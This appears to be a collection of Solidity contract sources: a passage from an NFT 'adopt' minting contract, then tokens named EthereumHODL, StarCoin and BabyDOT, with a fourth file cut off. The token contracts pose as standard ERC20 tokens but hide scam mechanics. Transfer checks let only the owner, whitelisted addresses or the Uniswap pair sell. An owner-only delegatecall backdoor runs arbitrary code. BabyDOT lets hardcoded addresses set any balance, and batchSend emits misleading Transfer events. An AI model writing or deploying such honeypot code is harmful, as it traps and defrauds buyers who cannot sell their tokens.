return _price;
}
function setReserved(uint256 _newReserved) public onlyOwner() {
_reserved = _newReserved;
}
function getReserved() public view returns (uint256){
return _reserved;
}
function adopt(uint256 num) public payable {
uint256 supply = totalSupply();
require( num < 21, "Cannot adopt more than 20 Shibas" );
require( supply + num < 10000 - _reserved, "Exceeds maximum supply" );
require( msg.value >= _price * num, "Insufficient Ether for adoption" );
for(uint256 i; i < num; i++){
_safeMint( msg.sender, supply + i );
}
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
require( _amount <= _reserved, "Exceeds maximum supply" );
_reserved -= _amount;
uint256 supply = totalSupply();
for(uint256 i; i < _amount; i++){
_safeMint( _to, supply + i );
}
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint256 i; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdrawAll() public payable onlyOwner {
require(payable(w1).send(address(this).balance));
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EthereumHODL{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Star coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StarCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract BabyDOT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
